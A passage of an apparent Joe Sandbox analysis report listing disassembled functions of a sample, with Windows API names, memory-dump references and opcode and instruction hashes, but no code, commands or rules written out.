                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID: CALL
                                                          • API String ID: 1385522511-4196123274
                                                          • Opcode ID: 513b62a8688e5b3a89c3ff4af736ddcd9270aa4f5c371c116d04b92356dd38ec
                                                          • Instruction ID: 46ce765d33b26ae462729219fbebf2f60fff2bb6be529897fde15cdc9f01d97c
                                                          • Opcode Fuzzy Hash: 513b62a8688e5b3a89c3ff4af736ddcd9270aa4f5c371c116d04b92356dd38ec
                                                          • Instruction Fuzzy Hash: 3C228C72B1AA429AEB14CF65D0402AC37B1FB96F88F108536DA4DD7795EF38E845C341
                                                          Function 00007FF6A5376838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CreateFile
                                                          • String ID:
                                                          • API String ID: 823142352-0
                                                          • Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                          • Instruction ID: b30c7dad2aed3845d55ef389b28f5b63d141bb687dbc02c62e917436ab682bca
                                                          • Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                          • Instruction Fuzzy Hash: D0417D72E2AE42C2E774DF11E42037967A0EB86F68F144230DA6D876C6EF3DD8048740
                                                          Function 00007FF6A5376460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Library$Load$AddressFreeProc
                                                          • String ID:
                                                          • API String ID: 2632591731-0
                                                          • Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                          • Instruction ID: a798db46c8a01279c346193d52eaf0b3c464b061d39a9b4e27a9afe12b6e3320
                                                          • Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                          • Instruction Fuzzy Hash: 06415022F26E5696EB10DB26D4513FC23A0EB85F88F454131EA4D8769AEF3CDD58C740
                                                          Function 00007FF6A5376258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_
                                                          • String ID:
                                                          • API String ID: 1144537725-0
                                                          • Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                          • Instruction ID: 528d9747ccd4a46f36ed89dda059829ddf92cce5a44e4554c344034380557f5a
                                                          • Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                          • Instruction Fuzzy Hash: 25415A3291AF8686EB61CF11E4503A937A8FB8AF88F040135DA4D87799DF7CD944C710
                                                          Function 00007FF6A5373730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsThemeActive.UXTHEME ref: 00007FF6A5373756
                                                            • Part of subcall function 00007FF6A5399334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A5399348
                                                            • Part of subcall function 00007FF6A53736E8: SystemParametersInfoW.USER32 ref: 00007FF6A5373705
                                                            • Part of subcall function 00007FF6A53736E8: SystemParametersInfoW.USER32 ref: 00007FF6A5373725
                                                            • Part of subcall function 00007FF6A53737B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A53737F2
                                                            • Part of subcall function 00007FF6A53737B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A5373807
                                                            • Part of subcall function 00007FF6A53737B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A537388D
                                                            • Part of subcall function 00007FF6A53737B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A5373924
                                                          • SystemParametersInfoW.USER32 ref: 00007FF6A5373797
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 4207566314-0
                                                          • Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                          • Instruction ID: 904c558b81534b13e7515910d5868412ba396d4a8cfca5449ba84819af36f807
                                                          • Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                          • Instruction Fuzzy Hash: E3011DB0E2F7428AF710DB65A8552757661EF9AF01F4400B5D44DC66A2EF7DBC848700
                                                          Function 00007FF6A53AB3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 485612231-0
                                                          • Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                          • Instruction ID: 418d2191a0d5c2230a1be66362fcb3e51543db8d0d93292939e3fd5a71c134c0
                                                          • Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                          • Instruction Fuzzy Hash: 43E0E651E2B94382FF18EBF258151792691AFA6F50F444034CA0ECB292FD2DEC858B10
                                                          Function 00007FF6A53B04B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorHandleLast
                                                          • String ID:
                                                          • API String ID: 918212764-0
                                                          • Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                          • Instruction ID: be4e8c5aba300ae1588e2ac619bae884abfab9b1d3bf601c2a76f3e120863036
                                                          • Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                          • Instruction Fuzzy Hash: F411B651F2EE4241FEA4E764A59427C12C29FD6F64F098235DA2EC66D3FE6CEC548302
                                                          Function 00007FF6A5381475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID:
                                                          • API String ID: 1385522511-0
                                                          • Opcode ID: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
                                                          • Instruction ID: 766931e88e6b7521e2c50c9bc24d5210c0d2b5ef3d85d7dad72fa968f14a9ed4
                                                          • Opcode Fuzzy Hash: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
                                                          • Instruction Fuzzy Hash: AC32BF62A2EA9286EB68CB12D4503B96361EBC6F84F444132DF4EC7795EF3CEC458741
                                                          Function 00007FF6A53D20D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ClearVariant
                                                          • String ID:
                                                          • API String ID: 1473721057-0
                                                          • Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                          • Instruction ID: 72f42f62d848d3ef92eba79d9370578f819b4877063f56d99ff76b3eb3c807b9
                                                          • Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                          • Instruction Fuzzy Hash: 3B417C22B1AA419AEB25DF61D0503AC23B0FB96F88F048535DE0D97799EF7CE855C381
                                                          Function 00007FF6A5398FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HandleModule$AddressFreeLibraryProc
                                                          • String ID:
                                                          • API String ID: 3947729631-0
                                                          • Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                          • Instruction ID: be185ffe4a6d3551957fc1993680142e003371cbd11ae092d5c208204d3f7a91
                                                          • Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                          • Instruction Fuzzy Hash: D5418FA2E2AA52C2FF64DB15D4A01792651EF92F40F044035EA1EC77D1EE3EEC41C741
                                                          Function 00007FF6A53A48E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                          • Instruction ID: 38fedfba90b064571d434a21a9cfbc17c8dd3a2b96f239688ba994d2a6a498f1
                                                          • Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                          • Instruction Fuzzy Hash: 10217422A2EA8691EE51DF51A40117D62A4BFC6F84F544030EB4DD7B86FF7EEC418740
                                                          Function 00007FF6A53B6D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                          • Instruction ID: c2b6ba05bf7465c660eb7b950ca2145a1422d0da83d4d6df8823ee645fdf7097
                                                          • Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                          • Instruction Fuzzy Hash: 1C218372629E8287DB65EF25E44036976A1EBC5F94F154238DA5EC66D6EF2CDC008700
                                                          Function 00007FF6A53AE258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
                                                          • Instruction ID: 1fe92bf6132831e2e510b38021d98e486fdb662cd9082ef987078b6733e9cb26
                                                          • Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
                                                          • Instruction Fuzzy Hash: 98116032A2EA8282FB20EB50A44013976A5FF86B80F940435EB8DC7795FF3DEC009701
                                                          Function 00007FF6A53F5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                          • Instruction ID: c640577204e957cd48a926a58fdd822348b7ba982c87f712a2a5c751f108588e
                                                          • Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                          • Instruction Fuzzy Hash: 34112826A2AE4582EB48DF16D1903B86360EF96F94F545132DA1E8B3A1DF3CD8948340
                                                          Function 00007FF6A53B0414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                          • Instruction ID: f58ed436d078db76916051f1c4ca81d29fc8effd0e8d4578343b85e4128c0574
                                                          • Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                          • Instruction Fuzzy Hash: B91191B292EE4686EA05EF50D4442AD7761EFD2B50F918232E64E462D6EFBCD800CB01
                                                          Function 00007FF6A53A48EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                          • Instruction ID: 4798ba38224effa8a74a3e4a5edd7b216d691d10e8a37338ec191a3e61bb7404
                                                          • Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                          • Instruction Fuzzy Hash: E8017C21A2AA0741FE24EA66A4213B812505FD7F64F240734EB2DC62C7EE6EEC118201
                                                          Function 00007FF6A53A4970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                          • Instruction ID: 835e554e9928c8a11e82d2d0f23163eb185b3875e3377046d608d697c1375130
                                                          • Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                          • Instruction Fuzzy Hash: D8F02421A2EA0392ED24F765B41217D22849FC3F40F240130EB0EC62C7FE2EEC128211
                                                          Function 00007FF6A537652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF6A53A4970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A53A4999
                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF6A53BC8FE), ref: 00007FF6A537656F
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FreeLibrary_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3938577545-0
                                                          • Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                          • Instruction ID: 87b98f3c00e493f3f32d8fdb526cec725bc92da0098e03a0248361c0574cf479
                                                          • Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                          • Instruction Fuzzy Hash: 99F03A62E2AA05C2EF19CF66D0653382260AB99F18F180534CA0E8A189EF2CD854D341
                                                          Function 00007FF6A53EB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON
                                                          Download Yara Rule
                                                          APIs
